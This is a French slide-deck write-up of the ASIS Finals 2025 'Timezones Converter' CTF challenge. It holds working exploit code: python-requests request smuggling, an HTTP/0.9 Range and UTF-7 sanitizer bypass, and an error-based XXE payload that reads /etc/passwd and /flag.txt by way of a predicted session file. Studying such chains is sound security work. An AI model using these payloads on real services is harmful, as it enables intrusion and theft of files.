ASIS Finals 2025
Timezones Converter
Writeup
Contexte
2/46


Démo du challenge
3/46

Structure du challenge
4/46

frontend
flask
haproxy
flask
backend
Points importants
5/46

FROM alpine:3.20.3
WORKDIR /usr/app
COPY ./src/ .
COPY ./flag.txt /
# ...
Le flag est à la racine du frontend
→ file read / RCE
Points importants
6/46

from_zone = request.form.get("from_zone", "Europe/Paris")
to_zone = request.form.get("to_zone", "Europe/Paris")
time = request.form.get("time", "12:30")
r = session["request"].post("http://backend/convert",
headers={ "Content-Type": "application/x-www-form-urlencoded" },
data=f"from_zone={from_zone}&to_zone={to_zone}&time={time}"
)
python.requests utilisé pour communiquer avec le backend
Points importants
7/46

if not r.status_code == 200:
return { "status_code": r.status_code, "error": r.text }, 500
parsed_xml = {
child.tag: child.text
for child in etree.fromstring(r.text)
}
lxml utilisé pour parser la réponse du backend
Points importants
8/46

except Exception as e:
return {
"error": sanitize_xml(str(e)),
"timestamp": datetime.now().strftime("%Y-%m-%d %H:%M:%S")
}
Input refleté via les erreurs dans la réponse du backend
Points importants
9/46

def sanitize_xml(xml):
if not type(xml) == str:
return xml
forbidden_chars = ["&","<",">",'"',"%"]
for forbidden_char in forbidden_chars:
xml = xml.replace(forbidden_char, "")
return xml
Mais sanitize correctement...
Objectif du challenge :
Controller la réponse du backend pour XXE et lire le flag
10/46

11/46


python.requests smuggling :)
12/46

from requests import post
smug = "GET /smug HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n"
post("http://127.0.0.1", data="\xFF"*len(smug)+smug)
Version ≤ v2.31.0
python.requests smuggling :)
13/46

>>> "\xFF"
'ÿ'
>>> "\xFF".encode()
b'\xc3\xbf'
len(str) != len(bytes)
UTF-8 ❤️
>>> len("\xFF")
1
>>> len("\xFF".encode())
2
python.requests smuggling :)
14/46


Fix v2.32.0
(source)
15/46


>>> req = open("req.txt", "rb").read()
>>> body = req.split(b"\r\n\r\n")[1] + b"\r\n\r\n"
>>> len(body)
117
78 != 117 :)
python.requests smuggling :)
16/46

Ca fonctionne aussi dans une session !
from requests import session
s = session()
smug = "GET /404 HTTP/1.1\r\nX-Header: X"
s.post("http://127.0.0.1", data="\xFF"*len(smug)+smug)
r = s.get("/home")
print(r.text)
# /404
Super on contrôle la 2ème requête et alors??
17/46

Application flask basique
18/46

from flask import Flask, send_file
app = Flask(__name__)
@app.get("/")
def index():
return send_file("/etc/passwd")
app.run("0.0.0.0", 4444)
Application flask basique
19/46


Résultat d'une requête en HTTP/1.1 (tout va bien)
Application flask basique
20/46

Résultat d'une requête avec Range en HTTP/1.1 (tout va bien)

Application flask basique

Résultat d'une requête avec Range en HTTP/0.9
(Range = HTTP/1.1 → ?????)
21/46

Application flask basique



Résultat d'une requête avec Range en HTTP/0.9
(Range = HTTP/1.1 → ?????)
23/46

Si on chain tout ce qu'on a vu, on peut contrôler une réponse du backend :)
1/ Forcer une erreur qui contient une réponse HTTP/1.1


2/ Utiliser HTTP/0.9 + Range pour contrôler la réponse

25/46

3/ Passer le body en UTF-7 pour bypass le sanitizer :)

26/46
Et oui, python.requests handle aussi ce charset de réponse !

27/46

Maintenant qu'on contrôle la réponse...
Rappel: le flag est à la racine
28/46


Comment le frontend parse la réponse du back ?
29/46


Comment le frontend parse la réponse du back ?
30/46


Comment le frontend parse la réponse du back ?
31/46


XX/XX


33/46

lxml ?
- Avant la version 5.0.0, autorise les entités externes
- Désactive les protocoles réseaux par défaut (http, ftp, ...)
- Se protège contre certaines attaques
34/46

Comment faire pour XXE ?
- On ne peut pas leak le contenu d'un fichier à cause des validators
- On ne peut pas exfiltrer en OOB
- On ne peut pas charger de DTD externe
- Il n'y a pas de DTD présent dans le docker du challenge
35/46

Comment faire pour XXE ?

36/46

Comment faire pour XXE ?
$ python3
>>> from lxml import etree
>>> payload='''
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % constant 'aaa)>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///patt/%file;'>">
%eval;
%error;
<!ELEMENT aa (bb'>
%local_dtd;
]>
<message>Text</message>
'''
>>> xxe = etree.fromstring(payload)
Traceback (most recent call last):
[...]
lxml.etree.XMLSyntaxError: Element content declaration doesn't start and stop in the same entity, line 150, column 29
37/46

Comment faire pour XXE ?
- Pas possible d'utiliser un DTD ou il faut fermer une balise pour réinjecter derrière
- Seul cas possible :


38/46


39/46

File write sans file write
- Il faut pouvoir contrôler les 3 premiers bytes d'un fichier
- Il faut connaitre son emplacement exact
40/46

File write sans file write

41/46

File write sans file write

/lib/python3.11/site-packages/cachelib/file.py#L264
42/46

File write sans file write

- Timestamp unix qui en little endian donne %<ALPHA CHAR>;<random bytes>

43/46

File write sans file write
- Les noms des fichiers de session sont ... aléatoires ?


/lib/python3.11/site-packages/cachelib/file.py#L210
/lib/python3.11/site-packages/cachelib/file.py#L52
44/46

File write sans file write
import requests
res = requests.get(f"http://{HOST}:{PORT}/")
session = res.headers["Set-Cookie"].split("session=")[1].split(";")[0]
print("/usr/app/flask_sessions/"+md5(f"session:{session}".encode().hexdigest()))
45/46

Payload finale
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file://{FILENAME}">
<!ENTITY % A '
<!ENTITY % file SYSTEM "file:///flag.txt">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;
'>">
%eval;
%error;<!--
'>
%local_dtd;
]>
<message></message>
Live demo de la solution

46/46
Ambrosia 2025 | Writeup ASIS finales 2025 Timezones Converter Writeup
By Kévin (Mizu)
Ambrosia 2025 | Writeup ASIS finales 2025 Timezones Converter Writeup
- 35